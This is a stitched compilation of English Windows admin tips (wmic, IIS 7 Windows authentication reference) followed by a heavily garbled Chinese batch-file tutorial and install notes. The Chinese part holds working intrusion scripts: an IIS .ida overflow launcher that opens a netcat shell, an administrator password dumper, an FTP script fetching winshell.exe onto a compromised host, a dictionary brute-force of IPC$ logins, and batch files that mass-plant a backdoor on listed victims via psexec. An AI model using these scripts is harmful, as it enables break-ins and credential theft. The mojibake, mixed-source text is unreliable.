With the lack of Graphical Interface on Windows 2008 Core server there comes a need of performing a lot of task through command line. One of which is checking file properties like file version, path, product verision etc. Luckily we have a command that makes this task simple. On a side note, We can also run the same command on other operating systems like Windows Xp, 2003, vista.
Here is the command:wmic datafile where name='c:\\windows\\system32\\notepad.exe'
Click here to view the enlarged screenshot
Notice that we have used two backslashes \\ in the file path. Also, notice that the path is enclosed in the single quotes.
The output will be confusing to read in command prompt window. To read and understand it better, we can take the output in text format and read it in notepad.
While doing so, please do NOT wrap the text. wmic datafile where name='c:\\windows\\system32\\notepad.exe' > out.txt
Click here to view the enlarged screenshot
The output will reveal the file properties like Hidden, Path, Drive, Version Caption, Access rights etc.
To get one particular property of a file we need to modify the command a little bit. We need to use the GET Alias injunction to the command mentioned above. Let's say we want to check the version for the file notepad.exe. The command that is used for this is:wmic datafile where name='c:\\windows\\system32\\notepad.exe' get version
Similarily, there is a list of properties that can be fetched through this command line. They are:
Access Rights
Caption
Class Name
Compressed
Compression Method
Computer System Class Name
Computer System Name
Creation Date
Current File Open Count
Description
Drive
Eight Dot Three File Name
Encrypted
Encryption Method
File Extension
File Name
File System Class Name
File System Name
File Type
Hidden
Install Date
Last Accessed
Last Modified
Manufacturer
Name
Path
Readable
Should Be Archived
Size
Status
System File
Version
Writeable
The <windowsAuthentication>
element defines configuration settings for the Internet Information Services (IIS) 7 Windows authentication module. You can use Windows authentication when your IIS 7 server runs on a corporate network that is using Microsoft Active Directory service domain identities or other Windows accounts to identify users. Because of this, you can use Windows authentication whether or not your server is a member of an Active Directory domain.
Windows authentication (formerly named NTLM, and also referred to as Windows NT Challenge/Response authentication) is a secure form of authentication because the user name and password are hashed before being sent across the network. When you enable Windows authentication, the client browser sends a strongly hashed version of the password in a cryptographic exchange with your Web server.
Windows authentication supports two authentication protocols, Kerberos and NTLM, which are defined in the <providers>
element. When you install and enable Windows authentication on IIS 7, the default protocol is Kerberos. The <windowsAuthentication>
element can also contain a useKernelMode attribute that configures whether to use the kernel mode authentication feature that is new to Windows Server 2008.
Windows authentication is best suited for an intranet environment for the following reasons:
The <extendedProtection>
element was introduced in IIS 7.5, which allows you to configure the settings for the new extended protection features that have been integrated into Windows authentication.
Version | Notes |
---|---|
IIS 7.5 | The <extendedProtection> element was added in IIS 7.5. |
IIS 7.0 | The <windowsAuthentication> element was introduced in IIS 7.0. |
IIS 6.0 | The <windowsAuthentication> element replaces portions of the IIS 6.0 AuthType and AuthFlags metabase properties. |
The default installation of IIS 7 does not include the Windows authentication role service. To use Windows authentication on IIS, you must install the role service, disable Anonymous authentication for your Web site or application, and then enable Windows authentication for the site or application.
Note: After you install the role service, IIS 7 commits the following configuration settings to the ApplicationHost.config file.
<windowsAuthentication enabled="false" />
The <windowsAuthentication>
element is configurable at the site, application, or virtual directory level in the ApplicationHost.config file.
Attribute | Description |
---|---|
authPersistNonNTLM |
Optional Boolean attribute. Specifies whether IIS automatically reauthenticates every non-NTLM (for example, Kerberos) request, even those on the same connection. False enables multiple authentications for the same connections. Note: A setting of true means that the client will be authenticated only once on the same connection. IIS will cache a token or ticket on the server for a TCP session that stays established. The default is false . |
authPersistSingleRequest |
Optional Boolean attribute. Setting this flag to true specifies that authentication persists only for a single request on a connection. IIS resets the authentication at the end of each request, and forces reauthentication on the next request of the session. The default value is false . |
enabled |
Required Boolean attribute. Specifies whether Windows authentication is enabled. The default value is false . |
useKernelMode |
Optional Boolean attribute. Specifies whether Windows authentication is done in kernel mode. True specifies that Windows authentication uses kernel mode. Kernel-mode authentication may improve authentication performance and prevent authentication problems with application pools that are configured to use a custom identity. As a best practice, do not disable this setting if you use Kerberos authentication and have a custom identity on the application pool. The default is true . |
Element | Description |
---|---|
extendedProtection |
Optional element. Specifies extended protection options for Windows authentication. Note: This element was added in IIS 7.5. |
providers |
Optional element. Specifies security support providers used for Windows authentication. |
The following default <windowsAuthentication>
element is configured at the root ApplicationHost.config file in IIS 7.0, and disables Windows authentication by default. It also defines the two Windows authentication providers for IIS 7.0.
<windowsAuthentication enabled="false"> <providers> <add value="Negotiate" /> <add value="NTLM" /> </providers> </windowsAuthentication>
The following example enables Windows authentication and disables Anonymous authentication for a Web site named Contoso.
<location path="Contoso"> <system.webServer> <security> <authentication> <anonymousAuthentication enabled="false" /> <windowsAuthentication enabled="true" /> </authentication> </security> </system.webServer> </location>
The following examples disable Anonymous authentication for a site named Contoso, then enable Windows authentication for the site.
appcmd.exe set config "Contoso" -section:system.webServer/security/authentication/anonymousAuthentication /enabled:"False" /commit:apphost appcmd.exe set config "Contoso" -section:system.webServer/security/authentication/windowsAuthentication /enabled:"True" /commit:apphost
Note: You must be sure to set the commit parameter to apphost
when you use AppCmd.exe to configure these settings. This commits the configuration settings to the appropriate location section in the ApplicationHost.config file.
using System; using System.Text; using Microsoft.Web.Administration; internal static class Sample { private static void Main() { using(ServerManager serverManager = new ServerManager()) { Configuration config = serverManager.GetApplicationHostConfiguration(); ConfigurationSection anonymousAuthenticationSection = config.GetSection("system.webServer/security/authentication/anonymousAuthentication", "Contoso"); anonymousAuthenticationSection["enabled"] = false; ConfigurationSection windowsAuthenticationSection = config.GetSection("system.webServer/security/authentication/windowsAuthentication", "Contoso"); windowsAuthenticationSection["enabled"] = true; serverManager.CommitChanges(); } } }
Imports System Imports System.Text Imports Microsoft.Web.Administration Module Sample Sub Main() Dim serverManager As ServerManager = New ServerManager Dim config As Configuration = serverManager.GetApplicationHostConfiguration Dim anonymousAuthenticationSection As ConfigurationSection = config.GetSection("system.webServer/security/authentication/anonymousAuthentication", "Contoso") anonymousAuthenticationSection("enabled") = False Dim windowsAuthenticationSection As ConfigurationSection = config.GetSection("system.webServer/security/authentication/windowsAuthentication", "Contoso") windowsAuthenticationSection("enabled") = True serverManager.CommitChanges() End Sub End Module
var adminManager = new ActiveXObject('Microsoft.ApplicationHost.WritableAdminManager'); adminManager.CommitPath = "MACHINE/WEBROOT/APPHOST"; var anonymousAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/anonymousAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso"); anonymousAuthenticationSection.Properties.Item("enabled").Value = false; var windowsAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/windowsAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso"); windowsAuthenticationSection.Properties.Item("enabled").Value = true; adminManager.CommitChanges();
Set adminManager = CreateObject("Microsoft.ApplicationHost.WritableAdminManager") adminManager.CommitPath = "MACHINE/WEBROOT/APPHOST" Set anonymousAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/anonymousAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso") anonymousAuthenticationSection.Properties.Item("enabled").Value = False Set windowsAuthenticationSection = adminManager.GetAdminSection("system.webServer/security/authentication/windowsAuthentication", "MACHINE/WEBROOT/APPHOST/Contoso") windowsAuthenticationSection.Properties.Item("enabled").Value = True adminManager.CommitChanges()
Open the System Information
Open the Start menu, and click on Programs -> Accessories -> System Tools -> System Information
Look in the System Summary
The System Information tool will display detailed information about your Windows operating system. Once opened it will show the "System Summary" – it’s an overview of your computer and operating system.
Look for the System Type Item
On the right hand side of the window you will see a list of items. Look for the item called "System Type".
The value of this item will tell you whether your computer is 32-bit or 64-bit:
ECHO %~[<format>]<n>
<format>的取值如?/span>Q?/span>
%~<n> |
扩展%<n>Q然后去除双引号Q?/span>" "Q?/span> |
%~f<n> |
扩展%<n>, 取文件的全\?/span>/文g?/span>/扩展名,U字W串处理 |
%~d<n> |
扩展%<n>, 取文件的驱动器名 |
%~p<n> |
扩展%<n>, 取文件的路径?/span> |
%~n<n> |
扩展%<n>, 取文件名Q不包括扩展?/span> |
%~x<n> |
扩展%<n>, 取文件的扩展?/span> |
%~s<n> |
扩展%<n>, 只包括短文g名的全\?/span>/文g?/span>/扩展?/span> |
%~t<n> |
扩展%<n>, 文g的最后修Ҏ?/span> |
%~z<n> |
扩展%<n>, 文g的大?/span> |
%~a<n> |
扩展%<n>, 文g的属?/span> |
%~$<var>:<n> |
<var>一般是环境变量PATH, 从中LW一个匹配的文g名是%1的文件的全\径,如果找不到则展开为空 |
以上参数可以l合Q其格式是:
%~[{f|d|a|z|s|n|x|t|p}][$<var>:]<n>
######################################################################
4. 单批处理文g概念
######################################################################
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
W二个echo是追?
W三个echo清Ia.txt 重新创徏 a.txt
netstat -n | find "3389"
q个要列出所有连?389的用Lip.
________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显C注释语?本行昄
@rem 不显C注释语?本行不显C?
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________
下面我们以具体的一个idahackE序是idaq程溢出Z?应该是很单的.
___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
:END
_____________________ida.bat__END_________________________________
下面我们再来W二个文?是得到administrator的口?
大多Ch说得不到.其实是自q没有输入正确的信?
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________
q有一个就是已l通过telnet登陆了一个远E主?怎样上传文g(win)
依次在窗口输入下面的东西. 当然了也可以全部拯.Ctrl+Vq去. 然后q待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w
批处理,说白了就是DOS操作。有为DOS操作q时了、落后了Q其实不然。DOS操作最大的好处在于快、不留痕。在许多时候,Windows操作是根本解决不了问题的Q必d助DOS操作?br />
必备常识Q批处理的编写和修改
打开C本,要~写的内容写在里面。在存ؓbat文g卛_。修改也可以用记事本打开q行修改?br />
批处理运用一Q扫描本地端?br />
q个功能优化大师有,是扫描哪个端口与internetq接和连接ip。这Qؓ及时发现q拦截非法连接有着不可取代的功功?br />
然而,启动优化大师太慢了,而且太烦了,不利于随Z用。因此,~写一个这L批处理来解决问题显得尤为重要了?br />
************************************************************
代码Q?br />
netstat -n
pause
附:也可在每一行开头添?#8220;@”Q这样命令就不会昄出来?br />
************************************************************
批处理运用二Q查常见病毒
其实Q对于上|的人来_遇到病毒是在所隑օ的。然而,如果真的不幸感染Q怎样才能发现呢?N真的要买昂贵的杀毒Y件吗Q不一定?br />
我们可以~写批处理来查一些常见的|络病毒。如果确认感染病毒,可以下蝲专用杀毒工兯行查杀Q或采取其他途径杀毒?br />
下面Q我以欢乐时光ؓ例进行分析:
LӞ1.bat
其它文gQ?.bat 3.bat
************************************************************
1.bat代码Q?br />
@if exist c:\folder.htt call 2.bat
@if exist d:\folder.htt call 2.bat
@if exist e:\folder.htt call 2.bat
@if exist f:\folder.htt call 2.bat
************************************************************
2.bat代码Q?br />
@echo 发现Ƣ乐时光病毒Q?br />
@call 3.bat
@pause
************************************************************
3.bat代码Q?br />
@c:
@dir *.htt *.ini /s/a>1.txt
@d:
@dir *.htt *.ini /s/a>1.txt
@e:
@dir *.htt *.ini /s/a>1.txt
************************************************************
q样Q如果中毒,那么必定会存在大量folder.htt和Desktop.iniQ通过q样可以_略的检查计机是否感染病毒?br />
批处理运用三Q文件处?br />
假设Q我要大规模的做文g的移动、删除等Q如果在Windows里操作不免会出现错误Q而且q些错误不易察觉。因此,用批处理q行操作Q不但简单易行,而且Ҏ发现错误q可以及时纠正?br />
例如Q我要将D盘的htm文gUd到E盘,再格式化D盘,然后文件移回D盘,q改后缀为html?br />
************************************************************
1.bat代码Q?br />
@E:
@Md d
@D:
@Copy *.htm e:\d
@if exist e:\d\*.htm call 2.bat
************************************************************
2.bat代码Q?br />
@Format d:/q
@Copy e:\d\*.htm d:
@D:
@Ren *.htm *.html
************************************************************
从例子中Q可以看出,如果一旦出现问题,是很Ҏ被发现的。从而,也证明了批处理的可用性?br />
关于批处理的q用Q可以说博大_深Q变化莫。希望大家能够用DOS命oM化它Q这h能让其更好的为我们服务?
批处理命?br />
1.Echo 命o
打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o显C当前回显设|?br />
语法Qecho [{on|off}] [message]
SampleQecho off / echo hello world
在实际应用中我们会把q条命o和重定向W号Q也UCؓ道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?br />
2.@ 命o
表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?br />
SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L?
3.Goto 命o
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o?br />
语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
SampleQ?br />
if {%1}=={} goto noparms
if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:用来表示q个字母是标{,goto命o是Ҏq个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才会理解你的意囑֕?br />
4.Rem 命o
注释命oQ在C语言中相当与/*--------*/,它ƈ不会被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?br />
Rem Message
SampleQ@Rem Here is the description.
5.Pause 命o
q行 Pause 命oӞ显CZ面的消息Q?
Press any key to continue . . .
SampleQ?br />
@echo off
:begin
copy a:*.* dQ\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示您将另一张磁盘放入驱动器 A Ӟpause 命o会ɽE序挂vQ以便您更换盘Q然后按L键l处理?br />
6.Call 命o
从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它不会在命o行v作用?br />
语法Qcall [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数Q[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?br />
7.start 命o
调用外部E序Q所有的DOS命o和命令行E序都可以由start命o来调用?br />
入R常用参数Q?br />
MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?br />
REALTIME ?REALTIME 优先U类别开始应用程?br />
WAIT 启动应用E序q等候它l束
parameters q些Z送到命o/E序的参?br />
执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o脚本内执行,该新行ؓ则不会发生?br />
8.choice 命o
choice 使用此命令可以让用户输入一个字W,从而运行不同的命o。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234……
? choice /c:dme defrag,mem,end
显C?br />
defrag,mem,end[D,M,E]?
SampleQ?br />
Sample.bat的内容如?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?br />
9.If 命o
if 表示判断是否符合规定的条gQ从而决定执行不同的命o?有三U格?
1、if "参数" == "字符? 待执行的命o
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文g?待执行的命o
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br />
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命o
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br />
如if errorlevel 2 goto x2
DOSE序q行旉会返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???br />
10.for 命o
for 命o是一个比较复杂的命oQ主要用于参数在指定的范围内循环执行命o?br />
在批处理文g中?FOR 命oӞ指定变量请?%%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?br />
(set) 指定一个或一l文件。可以用通配W?br />
command 指定Ҏ个文件执行的命o?br />
command-parameters 为特定命令指定参数或命o行开兟?br />
在批处理文g中?FOR 命oӞ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I
如果命o扩展名被启用Q下列额外的 FOR 命o格式会受?br />
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配W,则指定与目录名匹配,而不与文?br />
名匹配?br />
FOR /R [[drive:]path] %variable IN (set) DO command [command-
查以 [drive:]path 为根的目录树Q指向每个目录中?br />
FOR 语句。如果在 /R 后没有指定目录,则用当?br />
目录。如果集仅ؓ一个单?.)字符Q则枚D该目录树?br />
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量Ş式从开始到l束的一个数字序列?br />
因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?br />
序列 (5 4 3 2 1)?br />
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果?usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?br />
处理包括d文gQ将其分成一行行的文字,然后每?br />
解析成零或更多的W号。然后用已找到的W号字符串变量?br />
调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开
的第一个空白符受蟩q空白行。您可通过指定可?"options"
参数替代默认解析操作。这个带引号的字W串包括一个或多个
指定不同解析选项的关键字。这些关键字?
eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?br />
delims=xxx - 指分隔符集。这个替换了I格和蟩格键?br />
默认分隔W集?br />
tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这会导致额外变量名U的
格式Z个范围。通过 nth W号指定 m
W号字符串中的最后一个字W星P
那么额外的变量将在最后一个符可析之
分配q接受行的保留文本?br />
usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且
引号字符为文字字W串命oq允许在 fi
中用双引号扩v文g名称?br />
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分?myfile.txt 中的每一行,忽略以分h头的那些行,?br />
每行中的W二个和W三个符号传递给 for E序体;用逗号??br />
I格定界W号。请注意Q这?for E序体的语句引用 %i ?br />
取得W二个符P引用 %j 来取得第三个W号Q引?%k
来取得第三个W号后的所有剩余符受对于带有空格的文g
名,您需要用双引号将文g名括h。ؓ了用q种方式来
用双引号Q您q需要?usebackq 选项Q否则,双引号会
被理解成是用作定义某个要分析的字W串的?br />
%i 专门?for 语句中得到说明,%j ?%k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一?br />
指定最?26 个符P只要不试图说明一个高于字?z ?br />
Z 的变量。请CQFOR 变量是单一字母、分大小写和全局的;
同时不能?52 个以上都在用中?br />
您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?br />
用单引号括号之间的 filenameset 括v来。这P该字W?br />
串会被当作一个文件中的一个单一输入行?br />
最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将
括号之间?filenameset 变成一个反括字W串。该字符串会
被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进
内存Qƈ被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚丑ֽ前环境中的环境变量名U?br />
另外QFOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?br />
%~dI - 仅将 %I 扩充C个驱动器?br />
%~pI - 仅将 %I 扩充C个\?br />
%~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?br />
%~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个完全合格的名称。如果环境变?br />
未被定义Q或者没有找到文Ӟ此组合键会扩?br />
I字W串
可以l合修饰W来得到多重l果:
%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?br />
%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个驱动器号和路径?br />
%~ftzaI - ?%I 扩充到类D出线路的 DIR
在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名
比较易读Q而且避免与不分大写的组合键h?br />
以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o在入侵中的用途?br />
sample2Q?br />
利用For命o来实现对一台目标Win2kL的暴力密码破解?br />
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?br />
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o来连接。然后将E序q行l果传递给find命oQ-
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命o成功完成">>D:\ok.txt Q这样就ko了?br />
sample3Q?br />
你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会变得很郁PQ。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃明白了?br />
主要命o也只有一条:Q在批处理文件中使用 FOR 命oӞ指定变量使用 %%variableQ?br />
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?br />
而cultivate.bat无非是用net use命o来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?br />
delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?br />
代码雏ŞQ?br />
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?br />
可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?/p>
那么Q我先来归纳一下,典型的Y件安装过E都有可能做哪些事情。由于我们是讨论软g在安装时的行为,所以开始安装前的设|和选项我们暂不讨论,只说到Y件真正开始安装那个时候v的动作:
①文件从安装源位|拷贝到目标位置?/p>
②往pȝ目录写入一些必要的动态连接库(DLL)?可?
③往pȝ注册表中写入相应的设|项?可?
④徏立开始菜单里的程序组和桌面快h式?可?
⑤其他动作?可?
下面我们再详l来分析上面归纳出来的这些动作:
1)拯软g本n需要的文g。源位置指Y件未安装之前的位|,例如光盘Q下载的目录{,目标位置指你指定的安装位|?/p>
q是几乎所有的软g安装q程一定会做的一件事。而如果一个YӞ在安装时只要q一步,不需要后面的其他几步Q我们可以认个Y件就是绿色Y件。或者反q来说绿色Y件就是只要拷贝文Ӟ不需要依赖于某个DLLQ或者它依赖的DLL在几乎所有的pȝ中都一定有的,q且它也不依赖于注册表里面的讄的软g?/p>
2)q一步,可以说至有一半Y件在安装旉会做Q一些YӞ需要用到某个DLLQ特别是那些软g作者开发的DLLQ或者系l中不常用的DLLQ一般都会随软g的安装拷到系l目录。所谓系l目录,在WIN98下一般是在WINDOWS\SYSTEMq个目录Q而WIN2K是在WINNT\SYSTEM32QWINXP是在WINDOWS\SYSTEM32。还有,一些Y件如QQ游戏Q中游等Q它们也用到一些DLLQ由于这些DLL只是q个软g自己用到Q别的其他Y件不会用刎ͼ所以它们ƈ不一定存在于pȝ目录Q而是攑֜软g安装目录里面Q这LDLL已经在上一步中被拷贝,所以和q一步说的情况不一栗?/p>
3)q一步同栯有一半Y件会做,一般在安装前用L讄和一些选项Q在安装时就会把q些讄写到注册表里。另外就是有时在上一步把DLL拯到系l目录时Q一些DLL需要向pȝ注册Q这些DLL的注册信息也会写在注册表里。还有,一些Y件有时可能安装时q不写注册表Q而是在第一ơ运行时才把一些设|写到注册表?/p>
4)q个非常单,大概不需要怎么解释。徏立这些快h式一斚w是便于用h行,另外在时也会把卸载的快捷方式攑֜E序l里。关于卸载后面我们再来讨论?/p>
5)q个是除了上面说的以外的其他情c例如有些Y件安装时会先把所有文?或一部分文g)先解压到临时目录Q那么安装完之后p把这些文件删除掉?/p>
那么我们再ȝ一下:
一、一个典型的软g在安装过E一般都会执行上面的1-4V这样可以认为是一个完整的安装q程?/p>
二、除了第1之外,其他的都不是必要的。只需要第一的软gQ我们可以把它叫做绿色Y件?/p>
三、有些Y件安装时是执行了1??Q有些Y件是执行???Q有些Y件是执行???/p>
四、一个特D的情况Q一般的驱动E序Q只会执??Q没???/p>
五、理ZQQ何YӞ如果你非常确切地知道了它在上面的那几步都具体做了些什么,特别??Q那么,理论上你可以把这个Y件的安装文g拯到另一台机子,把必要的DLL从系l目录拷贝到那一台机子的pȝ目录Q再把注册表里Y件写入的目导出?必要时还要修改一?再导入到那台机子的注册表中,那么Q就不是绿色YӞ你也能这h它移植给另一台机。但有时特别是一些共享YӞ一般都会有注册表中讄比较隐蔽的项目,不容易查找,所以除非你对系l非常熟悉,否则不是l色软g的Y件要ULq是有一定的隑ֺ的?/p>
那么Q下面我们再来看看,Z么一些Y件安装后要重启?/p>
在WINDOWS操作pȝ上,一般一个正在运行中的程序,操作pȝ是不让你修改它的Q修改包括替换,改动和删除。那么有Ӟ一些Y仉要向pȝ目录中写入一个DLLQ而系l目录中原来已经有同名的DLLq且q个DLL目前正在被系l用,因此不能用新版本L换它Q这个时候就需要重启,在重启的q程中,在这个DLL旧的版本被用之前用新版本替换它。这是Z么要重启的原因?/p>
